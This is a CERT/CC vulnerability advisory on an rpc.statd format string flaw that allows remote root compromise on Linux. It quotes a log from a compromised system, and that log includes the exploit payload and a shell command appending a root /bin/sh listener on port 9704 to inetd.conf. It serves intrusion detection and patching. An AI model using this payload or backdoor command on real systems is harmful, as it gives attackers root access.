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Vulnerability Note VU#34043rpc.statd vulnerable to remote root compromise via format string stack overwriteOverviewThe CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see the vendors section of this document for specific information regarding affected distributions.More information about this vulnerability is available at the following public URLs: The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root. I. DescriptionIntruder ActivityThe following is an example log message from a compromised system illustrating the rpc.statd exploit occurring: Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname containing '/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000bffff7 0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000bffff707K^v ^( ^ ^. #^ 1 F'F* FF+, NV1@/bin /sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity. II. ImpactBy exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root.III. SolutionUpgrade your version of rpc.statd
References
This document was written by John Shaffer and Brian King.
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